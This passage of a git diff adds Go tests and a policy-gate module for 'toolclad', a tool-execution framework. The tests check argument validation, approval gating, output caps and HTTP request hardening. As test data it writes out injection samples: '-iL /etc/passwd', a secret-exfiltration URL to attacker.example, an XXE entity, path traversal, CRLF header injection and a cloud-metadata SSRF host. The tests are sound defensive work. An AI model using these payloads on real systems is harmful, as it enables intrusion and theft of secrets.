&manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "mode": {Name: "mode", Required: false, Type: "string"}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "{_mode_flags}", "end"}, + Mappings: map[string]map[string]string{"mode": {"fast": "-T4"}}, + }, + } + argv, err := BuildCommandArgv(m, map[string]string{}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "end"}) +} + +func TestTrustedVarGluedToLiteralRefused(t *testing.T) { + want := "placeholder '{_mode_flags}' expands to multiple tokens and must be a whole token in command" + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "mode": {Name: "mode", Required: true, Type: "enum", Allowed: []string{"fast"}}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "--f={_mode_flags}"}, + Mappings: map[string]map[string]string{"mode": {"fast": "-T4 -v"}}, + }, + } + _, err := BuildCommandArgv(m, map[string]string{"mode": "fast"}) + if err == nil || !strings.Contains(err.Error(), want) { + t.Fatalf("expected %q, got %v", want, err) + } + + // The build-time guard fires on its own even when the load-time check + // was bypassed (tokens produced after compilation). + vars := map[string]string{} + trusted := map[string][]string{"_mode_flags": {"-T4", "-v"}} + _, err = expandTokens([]string{"--f={_mode_flags}"}, vars, trusted, nil) + if err == nil || !strings.Contains(err.Error(), want) { + t.Fatalf("expandTokens: expected %q, got %v", want, err) + } +} + +func TestExecutorHatchValidatesInStrictMode(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "msg": {Name: "msg", Required: true, Type: "string", AllowWhitespace: true}, + }, + Command: manifest.CommandDef{ + Executor: "scripts/wrapper.sh", + Exec: []string{"echo", "{msg}"}, + ExecWasDeclared: true, + }, + } + // executor takes precedence over exec and validates strictly. + argv, err := BuildCommandArgv(m, map[string]string{"msg": "plain"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"scripts/wrapper.sh"}) + _, err = BuildCommandArgv(m, map[string]string{"msg": "has space"}) + if err == nil || !strings.Contains(err.Error(), "must not contain whitespace") { + t.Fatalf("executor hatch must reject whitespace even with allow_whitespace, got %v", err) + } +} + +// end_of_options counts only direct exec tokens: a user-arg placeholder +// inside a spliced conditional never attracts the `--`. +func TestEndOfOptionsIgnoresSplicedTokens(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "t"}, + Args: map[string]*manifest.ArgDef{ + "headers": {Name: "headers", Required: false, Type: "string"}, + "target": {Name: "target", Required: true, Type: "scope_target"}, + }, + Command: manifest.CommandDef{ + Exec: []string{"echo", "{_header_flags}", "{target}"}, + EndOfOptions: "--", + Conditionals: map[string]manifest.ConditionalDef{ + "header_flags": {When: "headers != ''", Template: "-H {headers}"}, + }, + }, + } + argv, err := BuildCommandArgv(m, map[string]string{"headers": "X-Trace", "target": "example.com"}) + if err != nil { + t.Fatal(err) + } + assertArgv(t, argv, []string{"echo", "-H", "X-Trace", "--", "example.com"}) +} + +func TestUnknownArgumentRefused(t *testing.T) { + declared := map[string]*manifest.ArgDef{ + "target": {Name: "target", Position: 1, Required: true, Type: "scope_target"}, + "scan_type": { + Name: "scan_type", Position: 2, Required: false, Type: "enum", + Allowed: []string{"ping"}, + }, + } + // An argument the manifest no longer declares must not be dropped + // silently: the caller would otherwise get a successful run with no + // indication that extra_flags never reached the command. + args := map[string]string{"target": "example.com", "extra_flags": "-iL /etc/passwd"} + want := "unknown argument 'extra_flags' (declared arguments: scan_type, target)" + + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "echo_tool", TimeoutSeconds: 5}, + Args: declared, + Command: manifest.CommandDef{Exec: []string{"echo", "{target}"}}, + } + if _, err := BuildCommandArgv(m, args); err == nil || err.Error() != want { + t.Fatalf("dry run: want %q, got %v", want, err) + } + env, err := Execute(m, args) + if err == nil || err.Error() != want { + t.Fatalf("execute: want %q, got %v", want, err) + } + if env == nil || env.Status != "error" || env.Command != "" { + t.Errorf("execute must return an error envelope without running: %+v", env) + } + + hm := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "http_tool", TimeoutSeconds: 5}, + Args: declared, + Http: &manifest.HttpDef{Method: "GET", URL: "http://127.0.0.1:9/never-contacted"}, + } + if _, err := ExecuteHTTP(hm, args); err == nil || err.Error() != want { + t.Fatalf("http: want %q, got %v", want, err) + } + + mm := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "mcp_tool"}, + Args: declared, + Mcp: &manifest.McpProxyDef{Server: "mcp://example.com", Tool: "scan"}, + } + if _, err := ExecuteMCP(mm, args); err == nil || err.Error() != want { + t.Fatalf("mcp: want %q, got %v", want, err) + } + + // Several unknown names: the first in sorted order is reported. + many := map[string]string{"target": "example.com", "zeta": "1", "alpha": "2"} + wantFirst := "unknown argument 'alpha' (declared arguments: scan_type, target)" + if _, err := BuildCommandArgv(m, many); err == nil || err.Error() != wantFirst { + t.Fatalf("want %q, got %v", wantFirst, err) + } + + // A manifest with no [args] at all. + none := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "noargs"}, + Args: map[string]*manifest.ArgDef{}, + Command: manifest.CommandDef{Exec: []string{"true"}}, + } + wantNone := "unknown argument 'x' (declared arguments: none)" + if _, err := BuildCommandArgv(none, map[string]string{"x": "1"}); err == nil || err.Error() != wantNone { + t.Fatalf("want %q, got %v", wantNone, err) + } + + // Declared arguments only: still builds. + if _, err := BuildCommandArgv(m, map[string]string{"target": "example.com"}); err != nil { + t.Fatalf("declared-only args must build: %v", err) + } +} + +// TC-7: {_secret:name} is expanded on the manifest template before argument +// interpolation, so an argument value can never smuggle a secret reference +// into the request. Nothing is sent: the request is only built. +func TestHTTPSecretsExpandBeforeArgs(t *testing.T) { + const secret = "test-key-123" + t.Setenv("TOOLCLAD_SECRET_API_KEY", secret) + + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "secret_order", TimeoutSeconds: 5}, + Args: map[string]*manifest.ArgDef{ + "target": {Name: "target", Type: "string", Required: true}, + }, + Http: &manifest.HttpDef{ + Method: "POST", + URL: "https://api.example.com/fetch?u={target}", + Headers: map[string]string{ + "Authorization": "Bearer {_secret:api_key}", + "X-Echo": "{target}", + }, + BodyTemplate: `{"t":"{target}"}`, + }, + } + // The value is fed in as if it had passed validation, so the test does + // not depend on the url validator's brace check being the only defense. + smuggled := "https://attacker.example/?k={_secret:api_key}" + cleaned := map[string]string{"target": smuggled} + + req, err := buildHTTPRequest(m, cleaned) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + built := req.URL.String() + if strings.Contains(built, secret) { + t.Errorf("secret leaked into URL: %q", built) + } + // The argument text survives literally (percent-encoded as one query + // value), so its secret reference is never expanded. + if got := req.URL.Query().Get("u"); got != smuggled { + t.Errorf("argument text must survive literally in the URL, got %q", got) + } + if got := req.Header.Get("X-Echo"); got != smuggled { + t.Errorf("header from argument must stay literal: got %q", got) + } + if got := req.Header.Get("Authorization"); got != "Bearer "+secret { + t.Errorf("manifest-template secret must still expand: got %q", got) + } + body, err := io.ReadAll(req.Body) + if err != nil { + t.Fatalf("reading body: %v", err) + } + if strings.Contains(string(body), secret) { + t.Errorf("secret leaked into body: %q", body) + } + if string(body) != `{"t":"`+smuggled+`"}` { + t.Errorf("body must carry the argument literally, got %q", body) + } +} + +// A url-typed argument carrying a secret reference is refused at validation +// in ExecuteHTTP, before any request is built or sent. +func TestExecuteHTTPRejectsSecretInURLArg(t *testing.T) { + t.Setenv("TOOLCLAD_SECRET_API_KEY", "test-key-123") + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "secret_arg", TimeoutSeconds: 5}, + Args: map[string]*manifest.ArgDef{ + // block_internal is required by the egress lint for an [http] + // manifest; the metacharacter check still fires first. + "target": {Name: "target", Type: "url", Required: true, BlockInternal: true}, + }, + Http: &manifest.HttpDef{Method: "GET", URL: "https://api.example.com/fetch?u={target}"}, + } + _, err := ExecuteHTTP(m, map[string]string{"target": "https://attacker.example/?k={_secret:api_key}"}) + if err == nil { + t.Fatal("expected validation error, got nil") + } + if !strings.Contains(err.Error(), "metacharacter") { + t.Errorf("want metacharacter rejection, got %v", err) + } +} diff --git a/go/pkg/executor/gate.go b/go/pkg/executor/gate.go new file mode 100644 index 0000000..9880f23 --- /dev/null +++ b/go/pkg/executor/gate.go @@ -0,0 +1,71 @@ +package executor + +import ( + "fmt" + + "github.com/thirdkeyai/toolclad/pkg/manifest" +) + +// GateDecision is a policy gate's verdict on one call: allow it, or deny it +// with a reason that reaches the caller. +type GateDecision struct { + Allowed bool + Reason string +} + +// Allow returns an allowing decision. +func Allow() GateDecision { return GateDecision{Allowed: true} } + +// Deny returns a denying decision carrying reason. +func Deny(reason string) GateDecision { return GateDecision{Reason: reason} } + +// Gate decides whether a call may proceed. It is consulted after argument +// validation, with the validated values (declared arguments only, defaults +// applied), and before anything is spawned, any HTTP request is made or any +// MCP envelope is built. A denial runs nothing. +// +// ToolClad does not evaluate policy itself. [tool.cedar] declares the +// resource and action for an embedding runtime's Cedar evaluator; wiring +// that evaluator into a Gate is the embedder's job. +type Gate func(m *manifest.Manifest, args map[string]string) GateDecision + +// DefaultGate denies a manifest that sets human_approval = true or whose +// risk_tier is high or critical, and allows everything else. +func DefaultGate(m *manifest.Manifest, _ map[string]string) GateDecision { + if m.Tool.HumanApproval { + return Deny("manifest requires human approval (human_approval = true)") + } + switch m.Tool.RiskTier { + case "high", "critical": + return Deny(fmt.Sprintf("risk_tier '%s' requires explicit approval", m.Tool.RiskTier)) + } + return Allow() +} + +// ApproveGate allows every call: the caller has approved it explicitly. +func ApproveGate(*manifest.Manifest, map[string]string) GateDecision { return Allow() } + +// GateDeniedError is returned when a gate denies a call. Its message is +// "policy gate denied: ". +type GateDeniedError struct { + Reason string +} + +func (e *GateDeniedError) Error() string { return "policy gate denied: " + e.Reason } + +// consultGate runs gate (DefaultGate when nil) and turns a denial into a +// *GateDeniedError. +func consultGate(gate Gate, m *manifest.Manifest, cleaned map[string]string) error { + if gate == nil { + gate = DefaultGate + } + // The gate gets its own copy so it cannot alter what runs. + view := make(map[string]string, len(cleaned)) + for k, v := range cleaned { + view[k] = v + } + if d := gate(m, view); !d.Allowed { + return &GateDeniedError{Reason: d.Reason} + } + return nil +} diff --git a/go/pkg/executor/hardening_test.go b/go/pkg/executor/hardening_test.go new file mode 100644 index 0000000..ed5f8af --- /dev/null +++ b/go/pkg/executor/hardening_test.go @@ -0,0 +1,681 @@ +package executor + +import ( + "encoding/json" + "errors" + "io" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "strings" + "sync/atomic" + "testing" + + "github.com/thirdkeyai/toolclad/pkg/manifest" +) + +// ---- W7: policy gate ------------------------------------------------------- + +func gatedEcho() *manifest.Manifest { + return &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "gated_echo", TimeoutSeconds: 5}, + Args: map[string]*manifest.ArgDef{ + "msg": {Name: "msg", Required: true, Type: "string"}, + "mode": {Name: "mode", Type: "string", Default: "quick"}, + }, + // touch would create the output file: proof that something ran. + Command: manifest.CommandDef{Exec: []string{"touch", "{_output_file}"}}, + Output: &manifest.OutputDef{Format: "text"}, + } +} + +func assertNothingRan(t *testing.T, evDir string) { + t.Helper() + entries, err := os.ReadDir(evDir) + if err != nil { + t.Fatal(err) + } + if len(entries) != 0 { + t.Fatalf("a denied call must create nothing, found %v", entries) + } +} + +func assertGateDenied(t *testing.T, env *EvidenceEnvelope, err error, reason string) { + t.Helper() + var gd *GateDeniedError + if !errors.As(err, &gd) { + t.Fatalf("want *GateDeniedError, got %v", err) + } + if want := "policy gate denied: " + reason; err.Error() != want { + t.Fatalf("want %q, got %q", want, err.Error()) + } + if env != nil { + t.Fatalf("a denied call returns no envelope, got %+v", env) + } +} + +func TestDefaultGateDeniesHumanApproval(t *testing.T) { + evDir := t.TempDir() + t.Setenv("TOOLCLAD_EVIDENCE_DIR", evDir) + m := gatedEcho() + m.Tool.HumanApproval = true + env, err := Execute(m, map[string]string{"msg": "hi"}) + assertGateDenied(t, env, err, "manifest requires human approval (human_approval = true)") + assertNothingRan(t, evDir) +} + +func TestDefaultGateByRiskTier(t *testing.T) { + for _, tier := range []string{"high", "critical"} { + evDir := t.TempDir() + t.Setenv("TOOLCLAD_EVIDENCE_DIR", evDir) + m := gatedEcho() + m.Tool.RiskTier = tier + env, err := Execute(m, map[string]string{"msg": "hi"}) + assertGateDenied(t, env, err, "risk_tier '"+tier+"' requires explicit approval") + assertNothingRan(t, evDir) + } + for _, tier := range []string{"", "info", "low", "medium"} { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + m := gatedEcho() + m.Tool.RiskTier = tier + env, err := Execute(m, map[string]string{"msg": "hi"}) + if err != nil || env.Status != "success" { + t.Fatalf("tier %q must be allowed: %v %+v", tier, err, env) + } + } +} + +func TestApproveGateRuns(t *testing.T) { + evDir := t.TempDir() + t.Setenv("TOOLCLAD_EVIDENCE_DIR", evDir) + m := gatedEcho() + m.Tool.HumanApproval = true + m.Tool.RiskTier = "critical" + env, err := ExecuteWithGate(m, map[string]string{"msg": "hi"}, ApproveGate) + if err != nil || env.Status != "success" { + t.Fatalf("approved call must run: %v %+v", err, env) + } +} + +func TestCustomGateSeesValidatedValues(t *testing.T) { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + var seen map[string]string + gate := func(_ *manifest.Manifest, args map[string]string) GateDecision { + seen = args + if args["msg"] == "forbidden" { + return Deny("msg 'forbidden' is not allowed here") + } + return Allow() + } + m := gatedEcho() + env, err := ExecuteWithGate(m, map[string]string{"msg": "forbidden"}, gate) + assertGateDenied(t, env, err, "msg 'forbidden' is not allowed here") + // The default for the unsupplied optional is applied before the gate. + if seen["mode"] != "quick" || seen["msg"] != "forbidden" || len(seen) != 2 { + t.Fatalf("gate must receive the validated values, got %v", seen) + } + if env, err := ExecuteWithGate(m, map[string]string{"msg": "fine"}, gate); err != nil || env.Status != "success" { + t.Fatalf("custom gate allow: %v %+v", err, env) + } +} + +func TestGateRunsAfterValidation(t *testing.T) { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + called := false + gate := func(*manifest.Manifest, map[string]string) GateDecision { + called = true + return Deny("never") + } + m := gatedEcho() + m.Tool.HumanApproval = true + _, err := ExecuteWithGate(m, map[string]string{"msg": "a;b"}, gate) + var gd *GateDeniedError + if err == nil || errors.As(err, &gd) || !strings.Contains(err.Error(), "metacharacter") { + t.Fatalf("an invalid call must report the validation error, got %v", err) + } + if called { + t.Fatal("the gate must not be consulted for an invalid call") + } + // The default gate too. + if _, err := Execute(m, map[string]string{}); err == nil || !strings.Contains(err.Error(), "missing required argument") { + t.Fatalf("want missing-argument error, got %v", err) + } +} + +func TestGateOnHTTPAndMCPPaths(t *testing.T) { + var hits int32 + ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + atomic.AddInt32(&hits, 1) + })) + defer ts.Close() + + hm := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "http_gated", TimeoutSeconds: 5, HumanApproval: true}, + Args: map[string]*manifest.ArgDef{}, + Http: &manifest.HttpDef{Method: "GET", URL: ts.URL + "/x"}, + } + env, err := Execute(hm, map[string]string{}) + assertGateDenied(t, env, err, "manifest requires human approval (human_approval = true)") + env, err = ExecuteHTTP(hm, map[string]string{}) + assertGateDenied(t, env, err, "manifest requires human approval (human_approval = true)") + if n := atomic.LoadInt32(&hits); n != 0 { + t.Fatalf("a denied HTTP call must make no request, got %d", n) + } + if env, err := ExecuteWithGate(hm, map[string]string{}, ApproveGate); err != nil || env.Status != "success" { + t.Fatalf("approved HTTP call: %v %+v", err, env) + } + + mm := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "mcp_gated", RiskTier: "high"}, + Args: map[string]*manifest.ArgDef{}, + Mcp: &manifest.McpProxyDef{Server: "srv", Tool: "scan"}, + } + env, err = Execute(mm, map[string]string{}) + assertGateDenied(t, env, err, "risk_tier 'high' requires explicit approval") + env, err = ExecuteMCP(mm, map[string]string{}) + assertGateDenied(t, env, err, "risk_tier 'high' requires explicit approval") + if env, err := ExecuteWithGate(mm, map[string]string{}, ApproveGate); err != nil || env.Status != "delegation_preview" { + t.Fatalf("approved MCP call: %v %+v", err, env) + } +} + +func TestDryRunIsNotGated(t *testing.T) { + m := gatedEcho() + m.Tool.HumanApproval = true + if _, err := BuildCommand(m, map[string]string{"msg": "hi"}); err != nil { + t.Fatalf("dry run must not be gated: %v", err) + } +} + +// ---- W9: output caps, XML, schema ----------------------------------------- + +func writeManifestFile(t *testing.T, body string) *manifest.Manifest { + t.Helper() + p := filepath.Join(t.TempDir(), "tool.clad.toml") + if err := os.WriteFile(p, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + m, err := manifest.LoadManifest(p) + if err != nil { + t.Fatalf("load: %v", err) + } + return m +} + +func TestOutputCapTruncates(t *testing.T) { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + limit := int64(1024) + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "seq_cap", TimeoutSeconds: 5}, + Args: map[string]*manifest.ArgDef{}, + Command: manifest.CommandDef{Exec: []string{"seq", "1", "5000"}}, + Output: &manifest.OutputDef{Format: "text", MaxBytes: &limit}, + } + env, err := Execute(m, map[string]string{}) + if err != nil || env.Status != "success" { + t.Fatalf("capped run: %v %+v", err, env) + } + if !env.Truncated { + t.Fatal("output_truncated must be set") + } + if got := len(rawOutput(env)); got != 1024 { + t.Fatalf("raw_output length = %d, want 1024", got) + } + data, _ := json.Marshal(env) + if !strings.Contains(string(data), `"output_truncated":true`) { + t.Fatalf("envelope JSON must carry output_truncated: %s", data) + } + + // Under the cap: no flag, and it is omitted from the JSON. + big := int64(1 << 20) + m.Output.MaxBytes = &big + env, err = Execute(m, map[string]string{}) + if err != nil || env.Truncated { + t.Fatalf("uncapped run: %v truncated=%v", err, env.Truncated) + } + data, _ = json.Marshal(env) + if strings.Contains(string(data), "output_truncated") { + t.Fatalf("output_truncated must be omitted when false: %s", data) + } +} + +func TestCappedBufferDrains(t *testing.T) { + c := &cappedBuffer{limit: 4} + for _, chunk := range []string{"ab", "cdef", "gh"} { + if n, err := c.Write([]byte(chunk)); n != len(chunk) || err != nil { + t.Fatalf("Write must accept everything: %d %v", n, err) + } + } + if c.buf.String() != "abcd" || !c.truncated { + t.Fatalf("got %q truncated=%v", c.buf.String(), c.truncated) + } +} + +func TestHTTPBodyCap(t *testing.T) { + ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Write([]byte(strings.Repeat("x", 5000))) + })) + defer ts.Close() + limit := int64(1024) + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "http_cap", TimeoutSeconds: 5}, + Args: map[string]*manifest.ArgDef{}, + Http: &manifest.HttpDef{Method: "GET", URL: ts.URL + "/big"}, + Output: &manifest.OutputDef{Format: "text", MaxBytes: &limit}, + } + env, err := ExecuteHTTP(m, map[string]string{}) + if err != nil || env.Status != "success" { + t.Fatalf("http cap: %v %+v", err, env) + } + if !env.Truncated || len(rawOutput(env)) != 1024 { + t.Fatalf("truncated=%v len=%d", env.Truncated, len(rawOutput(env))) + } +} + +func TestXMLDeclarationsRefused(t *testing.T) { + _, err := parseOutput("xml", []byte(`]>&a;`)) + want := "XML output contains a DOCTYPE or ENTITY declaration; refusing to parse" + if err == nil || err.Error() != want { + t.Fatalf("want %q, got %v", want, err) + } + if _, err := parseOutput("xml", []byte(``)); err == nil { + t.Fatal("lower-case ENTITY must be refused") + } + res, err := parseOutput("xml", []byte(`80`)) + if err != nil { + t.Fatalf("plain XML must parse: %v", err) + } + if _, ok := res["host"]; !ok { + t.Fatalf("unexpected XML result %v", res) + } + + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "xml_echo", TimeoutSeconds: 5}, + Args: map[string]*manifest.ArgDef{}, + Command: manifest.CommandDef{Exec: []string{"echo", `]>`}}, + Output: &manifest.OutputDef{Format: "xml"}, + } + env, err := Execute(m, map[string]string{}) + if err != nil || env.Status != "parse_error" || env.Results["parse_error"] != want { + t.Fatalf("want parse_error envelope, got %v %+v", err, env) + } +} + +const schemaManifest = ` +[tool] +name = "json_echo" +version = "1.0.0" +description = "echo JSON" +timeout_seconds = 5 + +[command] +exec = ["echo", %s] + +[output] +format = "json" + +[output.schema] +type = "object" +required = ["ok"] + +[output.schema.properties.ok] +type = "boolean" +` + +func TestSchemaFailClosedEndToEnd(t *testing.T) { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + run := func(arg string) *EvidenceEnvelope { + t.Helper() + m := writeManifestFile(t, strings.Replace(schemaManifest, "%s", arg, 1)) + env, err := Execute(m, map[string]string{}) + if err != nil { + t.Fatalf("execute: %v", err) + } + return env + } + + env := run(`"{{\"ok\": \"yes\"}}"`) + if env.Status != "schema_error" { + t.Fatalf("want schema_error, got %+v", env) + } + if got := env.Results["schema_error"]; got != "/ok: expected boolean, got string" { + t.Fatalf("schema_error = %v", got) + } + if raw := env.Results["raw_output"]; raw != "{\"ok\": \"yes\"}\n" { + t.Fatalf("raw_output must be preserved, got %q", raw) + } + if env.ExitCode != 0 { + t.Fatalf("exit_code must be kept, got %d", env.ExitCode) + } + + env = run(`"{{\"ok\": true}}"`) + if env.Status != "success" || env.Results["ok"] != true { + t.Fatalf("want success, got %+v", env) + } + + env = run(`"not json"`) + if env.Status != "parse_error" || env.Results["raw_output"] != "not json\n" { + t.Fatalf("want parse_error, got %+v", env) + } + if _, ok := env.Results["parse_error"].(string); !ok { + t.Fatalf("parse_error message missing: %+v", env.Results) + } + + env = run(`"{{}}"`) + if env.Status != "schema_error" || env.Results["schema_error"] != "/: missing required property 'ok'" { + t.Fatalf("root pointer: %+v", env) + } +} + +func TestNormalizedResultShapes(t *testing.T) { + cases := []struct { + format string + in string + key string + }{ + {"jsonl", "{\"a\":1}\n{\"a\":2}\n", "parsed_output"}, + {"csv", "a,b\n1,2\n", "parsed_output"}, + {"text", "hello", "raw_output"}, + {"json", "[1,2]", "parsed_output"}, + {"json", "42", "parsed_output"}, + } + for _, c := range cases { + res, err := parseOutput(c.format, []byte(c.in)) + if err != nil { + t.Fatalf("%s: %v", c.format, err) + } + if _, ok := res[c.key]; !ok || len(res) != 1 { + t.Errorf("%s %q: want {%q: ...}, got %v", c.format, c.in, c.key, res) + } + if err := ValidateSchema(map[string]any{"type": "object"}, res); err != nil { + t.Errorf("%s: default schema must accept the normalized result: %v", c.format, err) + } + } + if res, _ := parseOutput("jsonl", []byte("{\"a\":1}\n{\"a\":2}\n")); len(res["parsed_output"].([]any)) != 2 { + t.Errorf("jsonl rows: %v", res) + } + if res, _ := parseOutput("json", []byte(`{"a":1}`)); res["a"] == nil { + t.Errorf("a JSON object passes through: %v", res) + } +} + +func TestValidateSchemaKeywords(t *testing.T) { + obj := func(kv ...any) map[string]any { + m := map[string]any{} + for i := 0; i < len(kv); i += 2 { + m[kv[i].(string)] = kv[i+1] + } + return m + } + cases := []struct { + name string + schema any + doc string + want string // "" = valid + }{ + {"type ok", obj("type", "string"), `"x"`, ""}, + {"type bad", obj("type", "string"), `1`, "/: expected string, got integer"}, + {"type union", obj("type", []any{"string", "null"}), `null`, ""}, + {"type union bad", obj("type", []any{"string", "null"}), `true`, "/: expected string or null, got boolean"}, + {"integer accepts 30.0", obj("type", "integer"), `30.0`, ""}, + {"integer refuses 30.5", obj("type", "integer"), `30.5`, "/: expected integer, got number"}, + {"number accepts integer", obj("type", "number"), `3`, ""}, + {"integer exact", obj("type", "integer"), `12345678901234567890123`, ""}, + {"required", obj("required", []any{"a"}), `{}`, "/: missing required property 'a'"}, + {"additionalProperties false", obj("properties", obj("a", obj()), "additionalProperties", false), `{"a":1,"b":2}`, "/: additional property 'b' is not allowed"}, + {"additionalProperties true", obj("properties", obj("a", obj()), "additionalProperties", true), `{"a":1,"b":2}`, ""}, + {"nested items", obj("properties", obj("hosts", obj("type", "array", "items", obj("properties", obj("port", obj("type", "integer")))))), + `{"hosts":[{"port":1},{"port":"80"}]}`, "/hosts/1/port: expected integer, got string"}, + {"enum ok", obj("enum", []any{"a", 1.0, obj("k", true)}), `1`, ""}, + {"enum deep", obj("enum", []any{obj("k", true)}), `{"k":true}`, ""}, + {"enum bad", obj("enum", []any{"a", "b"}), `"c"`, "/: value is not one of the allowed enum values"}, + {"minimum", obj("minimum", 1), `0`, "/: 0 is less than minimum 1"}, + {"minimum inclusive", obj("minimum", 1), `1`, ""}, + {"maximum", obj("maximum", 10), `10.5`, "/: 10.5 is greater than maximum 10"}, + {"minLength code points", obj("minLength", 3), `"äöü"`, ""}, + {"minLength bad", obj("minLength", 3), `"ab"`, "/: string length 2 is less than minLength 3"}, + {"maxLength bad", obj("maxLength", 2), `"abc"`, "/: string length 3 is greater than maxLength 2"}, + {"pattern anchored", obj("pattern", "[a-z]+"), `"abc1"`, `/: string does not match pattern "[a-z]+"`}, + {"pattern ok", obj("pattern", "[a-z]+"), `"abc"`, ""}, + {"unknown keyword ignored", obj("format", "email", "x-custom", 1), `"anything"`, ""}, + {"pointer escaping", obj("properties", obj("a/b", obj("type", "string"))), `{"a/b":1}`, "/a~1b: expected string, got integer"}, + } + for _, c := range cases { + var doc any + if err := json.Unmarshal([]byte(c.doc), &doc); err != nil { + t.Fatalf("%s: bad doc: %v", c.name, err) + } + err := ValidateSchema(c.schema, doc) + switch { + case c.want == "" && err != nil: + t.Errorf("%s: unexpected error %v", c.name, err) + case c.want != "" && (err == nil || err.Error() != c.want): + t.Errorf("%s: want %q, got %v", c.name, c.want, err) + } + } +} + +// ---- W10: HTTP hardening and the envelope command -------------------------- + +func TestHTTPPathValueIsPercentEncoded(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "enc"}, + Http: &manifest.HttpDef{Method: "GET", URL: "https://api.example.com/{endpoint}"}, + } + req, err := buildHTTPRequest(m, map[string]string{"endpoint": "../admin?role=admin"}) + if err != nil { + t.Fatal(err) + } + if req.URL.Host != "api.example.com" { + t.Fatalf("host changed: %q", req.URL.Host) + } + if got := req.URL.String(); got != "https://api.example.com/..%2Fadmin%3Frole=admin" { + t.Fatalf("url = %q", got) + } + if strings.Contains(req.URL.EscapedPath(), "/admin") || req.URL.RawQuery != "" { + t.Fatalf("structure changed: path %q query %q", req.URL.EscapedPath(), req.URL.RawQuery) + } + req, _ = buildHTTPRequest(m, map[string]string{"endpoint": ".."}) + if got := req.URL.String(); got != "https://api.example.com/%2E%2E" { + t.Fatalf("dot segment must be encoded, got %q", got) + } +} + +func TestHTTPQueryValueIsEncoded(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "enc"}, + Http: &manifest.HttpDef{Method: "GET", URL: "https://api.example.com/search?q={q}&page=1"}, + } + req, err := buildHTTPRequest(m, map[string]string{"q": "a&b=c d#e"}) + if err != nil { + t.Fatal(err) + } + q := req.URL.Query() + if q.Get("q") != "a&b=c d#e" || q.Get("page") != "1" || len(q) != 2 || req.URL.Fragment != "" { + t.Fatalf("query structure changed: %q", req.URL.String()) + } +} + +func TestHTTPBodyIsJSONEscaped(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "body"}, + Http: &manifest.HttpDef{Method: "POST", URL: "https://api.example.com/msg", BodyTemplate: `{"text": "{message}"}`}, + } + msg := `x", "admin": true, "x": "` + req, err := buildHTTPRequest(m, map[string]string{"message": msg}) + if err != nil { + t.Fatal(err) + } + body, _ := io.ReadAll(req.Body) + var parsed map[string]any + if err := json.Unmarshal(body, &parsed); err != nil { + t.Fatalf("body must stay valid JSON: %v (%s)", err, body) + } + if len(parsed) != 1 || parsed["text"] != msg { + t.Fatalf("body must hold a single text key with the literal value, got %v", parsed) + } +} + +func TestHTTPHeaderCRLFRefused(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "hdr"}, + Http: &manifest.HttpDef{Method: "GET", URL: "https://api.example.com/", Headers: map[string]string{"X-Trace": "{v}"}}, + } + _, err := buildHTTPRequest(m, map[string]string{"v": "a\r\nX-Admin: 1"}) + if err == nil || !strings.Contains(err.Error(), "CR or LF") { + t.Fatalf("want CR/LF refusal, got %v", err) + } +} + +func TestHTTPURLHostInterpolationRefusedInMemory(t *testing.T) { + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "host"}, + Args: map[string]*manifest.ArgDef{"host": {Name: "host", Type: "string", Required: true}}, + Http: &manifest.HttpDef{Method: "GET", URL: "https://{host}/x"}, + } + _, err := ExecuteHTTP(m, map[string]string{"host": "example.com"}) + if err == nil || err.Error() != "http.url may not interpolate into the scheme or host" { + t.Fatalf("got %v", err) + } +} + +func TestHTTPLiteralHostPolicyAtLoad(t *testing.T) { + body := func(url, argBlock string) string { + return ` +[tool] +name = "h" +version = "1.0.0" +description = "h" + +[args.u] +type = "url" +required = true +description = "u" +` + argBlock + ` + +[http] +method = "GET" +url = "` + url + `" + +[output] +format = "text" +` + } + write := func(s string) string { + p := filepath.Join(t.TempDir(), "tool.clad.toml") + if err := os.WriteFile(p, []byte(s), 0o644); err != nil { + t.Fatal(err) + } + return p + } + if _, err := manifest.LoadManifest(write(body("http://169.254.169.254/latest?u={u}", "block_internal = true"))); err == nil || + !strings.Contains(err.Error(), "http.url host") { + t.Fatalf("metadata literal host must be refused, got %v", err) + } + if _, err := 